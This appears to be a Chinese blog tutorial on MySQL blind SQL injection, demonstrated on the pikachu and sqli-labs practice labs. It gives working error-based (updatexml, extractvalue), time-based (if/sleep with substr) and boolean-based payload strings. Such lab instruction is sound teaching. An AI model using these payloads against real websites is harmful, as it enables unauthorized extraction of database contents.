MySQL数据库sql注入之盲注的原理以及盲注的几种方法

环境

  • phpstudy
  • pikachu
  • sqli-labs

为什么sql注入会出现无回显的情况

当我们进行sql注入时,会发生一些无回显的情况,这时需要我们用到sql盲注的一些方法来进行注入。分析无回显这种情况,其实是因为数据库的查询方法导致的,在我们有回显进行注入时,数据库多用的是select查询,当我们使用select在数据库中查询时,会显示出来数据内容,例如

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

但是,当我们进行增加、修改或删除数据时,数据库却不会给出这么多提示信息

增加

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

修改

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

删除

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

因此,在注入过程中页面并没有明显的提示信息,对于这种注入,我们叫做sql注入盲注

业务场景

盲注多用于注册用户、修改用户信息,注册用户可以跟数据库发生增加用户的数据交互(insert into),而修改用户信息跟数据库发生的数据交互为更新(update)

盲注的三种方法

报错注入

原理:利用函数让数据库报错,利用页面回显的信息,从而进行注入

pikachu靶场演示

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

注册用户,抓取数据包,此处的数据库操作是insert into操作

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

payload

# payload1
‘ or updatexml(1,concat(0x7e,database(),0x7e),0) or ‘

# payload2
‘ and extractvalue(1,concat(‘~‘,(select database()))) and ‘1‘=‘1

页面产生错误信息

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

接下来进行进行注入就可以了

延时注入

原理:使用if或者sleep函数,配合mid、substr、ascii、left等函数进行注入

常用的延时注入sql函数

# 如果条件成立,那么返回0,否则返回4
if(条件,0,5)

# sql语句延时执行x秒
sleep(x)

# 从b位置开始,截取a字符串的c位
mid(a,b,c)

# 从b位置开始,截取字符串a的c长度
substr(a,b,c) 

# 从左侧截取a的前b位
left(a,b)

# 判断a的长度是否等于8
length(a)=8

# 判断x的ascii码是否等于97
ascii(x)=97

sqli-labs less-9靶场

payload

# 如果数据库的第一位是s,那么直接返回,否则延时5秒
‘ and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

# 按照这种方法,可以爆出数据库名,随后爆表爆字段即可

布尔注入

原理:布尔,顾名思义,true或者false

sqli-labs less-5

我们来到sqli-labs的第五关,查看源代码

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

分析代码,当我们的输入的sql语句正确的时候,页面会显示.....的内容,根据页面是否显示内容可判断我们猜测的数据库名、表、列等信息是否正确

# 判断数据库的长度是否为8
‘ and length(database())=8#

# 后面步骤不做介绍,采用页面是否回显,判断我们猜测的数据库名、表、列等信息是否正确,最后完成sql注入

三种方法对比

盲注中使用报错注入使用的比较多,延时注入容易产生误判并且耗时较长,而布尔注入耗时较长,因此首选报错注入

参考

MySQL数据库sql注入之盲注的原理以及盲注的几种方法

上一篇:MylSMA和InnoDB的区别


下一篇:ES6——Proxy实现Web服务,进行方法拦截,通过方法名称生成网址